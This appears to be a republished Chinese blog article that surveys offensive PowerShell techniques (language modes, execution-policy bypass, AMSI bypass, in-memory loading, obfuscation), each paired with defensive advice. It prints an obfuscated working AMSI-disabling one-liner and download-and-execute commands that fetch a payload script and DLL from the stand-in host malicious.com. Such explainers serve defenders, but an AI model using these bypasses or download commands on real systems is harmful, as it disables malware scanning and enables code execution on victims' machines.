從進攻性安全角度簡析 Windows PowerShell

PowerShell 是 Windows 系統中強大的腳本語言和命令行工具,因其靈活性和與 .NET 框架的深度集成,成為攻擊者執行惡意操作的熱門選擇。從進攻性安全視角看,PowerShell 的語言模式、執行策略(Execution Policy)、AMSI 繞過技術、內存加載以及代碼混淆是攻擊者經常面臨的問題/常用的手段。本文將圍繞這些核心點,簡要分析 PowerShell 在進攻性安全中的應用及防御對策。


一、語言模式:PowerShell 的“rbash”

1.1 語言模式概述

PowerShell 的語言模式通過 $ExecutionContext.SessionState.LanguageMode 定義,控制腳本和命令的執行權限,類似于 Linux 中的限制性 shell(如 rbash)。它決定 PowerShell 環境中允許的操作類型,主要包括:

  • FullLanguage:無限制模式,允許執行所有命令、腳本和動態代碼(如 Invoke-Expression)。這是攻擊者的理想環境。
  • ConstrainedLanguage:受限模式,允許基本腳本和 cmdlet,但禁止動態代碼生成和不安全操作,類似 rbash 的功能限制。
  • RestrictedLanguage:更嚴格,僅允許簡單命令和變量操作,腳本執行被禁用。
  • NoLanguage:最嚴格,僅限交互式命令,腳本完全禁用。

1.2 進攻性安全中的利用

語言模式是攻擊者的首要障礙。在 FullLanguage 模式下,攻擊者可以自由執行復雜腳本、調用 .NET 方法或加載外部 DLL。但在 ConstrainedLanguage 或 RestrictedLanguage 模式下,攻擊者需尋找繞過方法:

  • 檢測語言模式

    if ($ExecutionContext.SessionState.LanguageMode -ne "FullLanguage") {Write-Host "Restricted mode detected, switching to alternative payload."
    }
    
  • 繞過限制

    • 利用 .NET 反射調用非公開方法,繞過 ConstrainedLanguage 的限制。
    • 切換到 PowerShell 2.0(無 AMSI 和語言模式限制):powershell -Version 2 -Command "malicious code".
    • 使用 COM 對象或 Windows API 執行功能,規避 PowerShell 限制。

1.3 防御建議

  • 強制 ConstrainedLanguage 模式:通過 Device Guard 或組策略(GPO)設置,限制動態代碼執行。
  • 監控語言模式切換:記錄 $ExecutionContext.SessionState.LanguageMode 的更改,檢測異常行為。
  • 禁用 PowerShell 2.0:防止攻擊者降級到無限制環境。

二、執行策略:限制腳本與模塊加載

2.1 執行策略概述

執行策略(Execution Policy)控制 PowerShell 腳本的運行條件,類似于限制外部模塊加載的機制。常見策略包括:

  • Restricted:默認,禁止所有腳本運行,僅允許交互式命令。
  • RemoteSigned:本地腳本可運行,遠程腳本需簽名。
  • AllSigned:僅允許簽名腳本運行。
  • Unrestricted:允許所有腳本運行。
  • Bypass:完全忽略執行策略。

查看或設置策略:

Get-ExecutionPolicy
Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Bypass -Force

2.2 進攻性安全中的繞過

執行策略是攻擊者的第一道防線,常用繞過技術包括:

  • 直接繞過

    powershell -ExecutionPolicy Bypass -File malicious.ps1
    
  • 交互式命令

    • 在 Restricted 模式下,通過命令行輸入惡意代碼:
      Invoke-Expression (New-Object Net.WebClient).DownloadString('http://malicious.com/payload.ps1')
      
  • 非腳本執行

    • 執行策略僅限 .ps1 文件,攻擊者可通過 .bat.vbs 或直接命令調用 PowerShell:
      powershell -Command "malicious code"
      
  • 修改策略

    • 具有管理員權限時,攻擊者可修改策略為 Bypass:
      Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Bypass
      

2.3 防御建議

  • 鎖定執行策略:通過 GPO 強制 Restricted 或 AllSigned,防止修改。
  • 監控策略更改:記錄 Set-ExecutionPolicy 的調用日志。
  • 禁用命令行參數:通過安全軟件阻止 -ExecutionPolicy 參數。
  • 使用簽名:確保腳本經過數字簽名,限制未簽名腳本運行。

三、AMSI Bypass:規避惡意代碼檢測

3.1 AMSI 簡介

反惡意軟件掃描接口(AMSI)是 Windows 10 及以上版本的安全功能,實時掃描 PowerShell 腳本并將其發送到反病毒軟件(如 Windows Defender)進行檢測。AMSI 是攻擊者執行惡意腳本的主要障礙。

3.2 AMSI Bypass 技術

攻擊者通過混淆和內存操作繞過 AMSI。以下是典型示例的分析:

S`eT-It`em ( 'V'+'aR' + 'IA' + ('blE:1'+'q2') + ('uZ'+'x') ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ;
( Get-varI`A`BLE ( ('1Q'+'2U') +'zX' ) -VaL )."A`ss`Embly"."GET`TY`Pe"( ( "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em') ) )."g`etf`iElD"( ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile') ), ( "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,' ) )."sE`T`VaLUE"( ${n`ULl},${t`RuE} )
  • 混淆:通過字符串拼接(如 'V'+'aR')和格式化(如 "{1}{0}"-F'F','rE'),隱藏敏感字符串(如 AmsiUtils),規避簽名檢測。
  • 反射調用:通過 .NET 反射修改 System.Management.Automation.AmsiUtilsamsiInitFailed 字段為 True,禁用 AMSI 掃描。
  • 效果:AMSI 認為初始化失敗,跳過腳本掃描,允許惡意代碼執行。

其他繞過方法

  • 內存補丁:修改 AmsiScanBuffer 函數,禁用掃描。
  • 降級 PowerShell:使用 PowerShell 2.0(無 AMSI 支持)。
  • 環境變量:設置 PSExecutionPolicyPreference 為 Bypass。

3.3 防御建議

  • 啟用 AMSI 日志:記錄 AMSI 掃描事件,檢測繞過嘗試。
  • 監控反射調用:使用 EDR 工具檢測對 AmsiUtils 的異常訪問。
  • 禁用 PowerShell 2.0:防止降級繞過。
  • 強制腳本簽名:結合 AllSigned 策略,限制未簽名腳本。

四、內存加載與代碼混淆

4.1 內存加載

內存加載(In-Memory Execution)是攻擊者常用的技術,通過在內存中直接執行代碼,避免將惡意腳本寫入磁盤,降低被檢測的風險。常見方法包括:

  • Invoke-Expression

    Invoke-Expression (New-Object Net.WebClient).DownloadString('http://malicious.com/payload.ps1')
    
  • 反射加載 DLL

    $bytes = (New-Object Net.WebClient).DownloadData('http://malicious.com/malware.dll')
    [Reflection.Assembly]::Load($bytes)
    
  • 內存中執行 shellcode

    • 使用 PowerShell 調用 Windows API(如 VirtualAllocCreateThread)執行 shellcode。

4.2 代碼混淆

混淆是隱藏惡意代碼的關鍵技術,旨在規避 AMSI 和反病毒軟件的檢測。常見混淆方法:

  • 字符串拼接:如 'S'+'eT-It'+'em' 代替 Set-Item
  • 格式化字符串:如 "{0}{1}" -f 'Invo','ke' 代替 Invoke
  • 變量混淆:使用隨機變量名或編碼(如 Base64)隱藏代碼邏輯。
  • 編碼技術:將腳本編碼為 Base64 或其他格式:
    $code = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes('malicious code'))
    powershell -EncodedCommand $code
    

4.3 防御建議

  • 監控網絡請求:檢測異常的 PowerShell 網絡活動(如 Net.WebClient 下載)。
  • 啟用腳本塊日志:記錄所有執行的腳本內容,包括混淆后的代碼:
    Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging" -Value 1
    
  • 使用行為檢測:EDR 工具監控內存操作和異常 API 調用。
  • 沙箱分析:在沙箱中運行 PowerShell 腳本,分析其行為。

五、PowerShell 攻擊鏈與綜合防御

5.1 攻擊鏈中的 PowerShell

PowerShell 在攻擊鏈中的典型應用:

  • 初始訪問:通過釣魚郵件或惡意宏運行 PowerShell 腳本。
  • 權限提升:利用 PowerShell 調用 API 或修改配置獲取高權限。
  • 持久化:通過注冊表或計劃任務實現持久化。
  • 橫向移動:使用 Invoke-Command 在網絡中傳播。
  • 數據竊取:下載敏感數據或執行勒索軟件。

5.2 綜合防御策略

  1. 最小權限:限制普通用戶的 PowerShell 訪問,僅允許管理員使用。
  2. 日志監控:啟用 PowerShell 腳本塊日志和 AMSI 日志,記錄所有活動。
  3. 行為檢測:使用 EDR 檢測異常的 PowerShell 行為(如網絡請求、反射調用)。
  4. 環境加固
    • 強制 ConstrainedLanguage 模式。
    • 設置 AllSigned 執行策略。
    • 禁用 PowerShell 2.0。
  5. 用戶教育:培訓用戶識別釣魚郵件和惡意宏,防止初始感染。

六、結論

PowerShell 的語言模式(類似 rbash)、執行策略(限制腳本和模塊加載)、AMSI 繞過、內存加載和代碼混淆是攻擊者利用 PowerShell 進行攻擊的核心技術。通過混淆和內存操作,攻擊者可以規避檢測,執行惡意代碼。防御者需通過嚴格的配置、日志監控和行為檢測構建多層次防御體系,降低 PowerShell 攻擊的風險。持續關注新的繞過技術和攻擊方法,是確保系統安全的關鍵。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/87516.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/87516.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/87516.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

MySQL的深度分頁如何優化!

MySQL深度分頁(例如 LIMIT 1000000, 20)性能差的主要原因在于 OFFSET 需要掃描并跳過大量數據,即使這些數據最終并不返回。隨著 OFFSET 增大,性能會急劇下降。 以下是優化深度分頁的常用策略,根據場景選擇最適合的方案…

K8s Pod 調度基礎——1

目錄 一、Replication Controller&ReplicaSet ?一、Replication Controller (RC)? ?原理? ?特性? ?意義? ?示例與逐行解釋? ?二、ReplicaSet (RS)? ?原理? ?特性? ?意義? ?示例與逐行解釋? ?三、RC 與 RS 的對比? ?四、總結? 二、Dea…

C# Task異步的常用方法

Task異步的常用方法 C# 中的 Task 類是 System.Threading.Tasks 命名空間的一部分,用于表示異步操作。 一、Task.Run(Action action): 此靜態方法用于在后臺運行一個新任務,并返回與該任務關聯的 Task 實例。 本質是將任務放入線程池執行,自…

OpenResty實戰之PB級物聯網數據處理:時序數據庫優化實戰

某智慧能源平臺通過本方案成功處理了日均1.2萬億數據點,存儲成本降低70%,查詢延遲從分鐘級優化到亞秒級。本文將深入解析PB級物聯網數據處理的核心挑戰與時序數據庫深度優化技巧。 一、物聯網數據特性與存儲挑戰 1.1 物聯網數據核心特征 #mermaid-svg-U…

聊聊架構(5)數字化時代的平臺商業架構

在數字化浪潮的推動下,平臺經濟已成為全球經濟增長的關鍵驅動力。作為架構師,不僅要精通架構設計的基礎方法論,還需具備敏銳的商業洞察力。架構的價值在于服務業務和商業,而業務的發展又促使架構不斷演進。本文將深入探討平臺的商…

【數據增強】精細化貼圖數據增強

1.任務背景 假設我有100個蘋果的照片,我需要把這些照片粘貼到傳送帶照片上,模擬“傳送帶蘋果檢測”場景。 這種貼圖的方式更加合理一些,因為yolo之類的mosaic貼圖,會把圖像弄的非常支離破碎。 現在我需要隨機選擇幾張蘋果圖像&am…

HTML響應式Web設計

什么是響應式Web設計&#xff1f; RWD指的是響應式Web設計&#xff08;Responsive Web Design)RWD能夠以可變尺寸傳遞網頁RWD對于平板和移動設備是必需的 創建一個響應式設計&#xff1a; <!DOCTYPE html> <html lang"en-US"> <head> <styl…

【讀代碼】百度開源大模型:ERNIE項目解析

一、項目基本介紹 1.1 項目概述 ERNIE(Enhanced Representation through kNowledge IntEgration)是百度基于PaddlePaddle深度學習框架開發的多模態預訓練模型體系。最新發布的ERNIE 4.5系列包含10個不同變體,涵蓋從300B參數的巨型MoE模型到0.3B的輕量級模型,形成完整的多…

2025年6月:技術探索與生活平衡的協奏曲

> 當代碼與晨跑軌跡在初夏的陽光下交織,我找到了程序員生活的黃金分割點 --- ### 一、技術突破:AI驅動的智能工作流優化系統 這個月我成功部署了第三代自動化工作流系統,核心創新在于**動態決策樹+實時反饋機制**。系統可自主優化處理路徑,錯誤率下降62%! ```pyth…

如何查看服務器運行了哪些服務?

&#x1f7e2; 一、Linux服務器Linux下&#xff0c;常用以下幾種方法&#xff1a;? 1. 查看所有正在監聽端口的服務netstat -tulnp 含義&#xff1a;-t TCP-u UDP-l 監聽狀態-n 顯示端口號-p 顯示進程號和程序名示例輸出&#xff1a;pgsql復制編輯Proto Recv-Q Send-Q Local A…

【Linux基礎知識系列】第三十八篇 - 打印系統與 PDF 工具

在Linux系統中&#xff0c;打印和PDF處理是日常辦公和文檔管理中不可或缺的功能。CUPS&#xff08;Common Unix Printing System&#xff09;是Linux中常用的打印服務&#xff0c;它提供了打印任務的管理和打印設備的配置功能。同時&#xff0c;Linux也提供了多種PDF處理工具&a…

STM32CUBEMX 使用教程6 — TIM 定時器配置、定時中斷

往期文章推薦&#xff1a; STM32CUBEMX 使用教程5 — DMA配置 & 串口結合DMA實現數據搬運 STM32CUBEMX 使用教程4 — 串口 (USART) 配置、重定向 printf 輸出 STM32CUBEMX 使用教程3 — 外部中斷&#xff08;EXTI&#xff09;的使用 STM32CUBEMX 使用教程2 — GPIO的使…

微信小程序實現table表格

微信小程序沒有table標簽&#xff0c;運用display:table和display:flex實現一個內容字數不固定表格…… wxml&#xff1a; <view class"ContentShow"> <view class"conht">煙臺市新聞發布會登記審批表</view> <view class"tabl…

MySQL 基本面試題

目錄 一、SQL的基本操作 1、SQL查詢的執行順序 2、count(*)、count(1) 、count(列名) 的區別 3、char 和 varchar 的區別 4、MySQL 中常用的基礎函數 5、MySQL的執行流程 6、MyISAM和InnoDB的區別 二、事務 1、事務的基本概念 2、事務的四大特性&#xff08;ACID) 3…

WPF學習筆記(12)下拉框控件ComboBox與數據模板

下拉框控件ComboBox與數據模板 一、ComboBox1. ComboBox概述2. ItemsControl類3. Selector類4. ComboBox類 二、ComboBox數據模板總結 一、ComboBox 1. ComboBox概述 ComboBox類代表一個有下拉列表的選擇控件&#xff0c;供用戶選擇。 官方文檔&#xff1a;https://learn.mic…

Docker for Windows 設置國內鏡像源教程

在使用 Docker 時&#xff0c;由于默認的 Docker Hub 鏡像源位于國外&#xff0c;國內用戶在拉取鏡像時可能會遇到速度慢或連接不穩定的問題。為了加速鏡像拉取&#xff0c;可以將 Docker 配置為使用國內鏡像源。以下是適用于 Windows 系統的詳細配置方法&#xff1a; 方法一&…

一鍵部署AI工具!用AIStarter快速安裝ComfyUI與Stable Diffusion

AIStarter部署AI工具&#xff0c;讓AI開發更簡單&#xff01;無需研究復雜環境配置&#xff0c;AIStarter平臺提供一鍵安裝ComfyUI和Stable Diffusion&#xff0c;支持多版本選擇&#xff0c;快速上手。以下是詳細步驟&#xff1a; 一、訪問AIStarter市場 下載AIStarter&#x…

Python基礎(吃洋蔥小游戲)

下面我將為你設計一個"吃洋蔥小游戲"的Python實現方案&#xff0c;使用Pygame庫開發。這個游戲模擬吃洋蔥的過程&#xff0c;玩家需要收集不同種類的洋蔥以獲得高分&#xff0c;同時避免吃到辣椒。 &#x1f9c5; 吃洋蔥小游戲 - Python實現方案 &#x1f3ae; 1. …

Objective-C 路由表原理詳解

在 Objective-C 中實現路由表是組件化架構的核心&#xff0c;它通過 URL 映射機制實現模塊間解耦通信。以下是完整實現原理&#xff1a; 一、核心架構設計 #mermaid-svg-5jMinPiZe8mivAbi {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fil…

通過交互式網頁探索傳輸現象-AI云計算數值分析和代碼驗證

傳輸過程涉及質量、動量和能量等物理量在各種系統中的基本運動和轉移&#xff0c;主要分為動量傳輸、熱量傳輸和質量傳輸&#xff0c;在工程、環境科學、生物學和物流等領域至關重要。 傳輸過程是指物理量&#xff08;如質量、動量和能量&#xff09;在物理、化學、生物或工程系…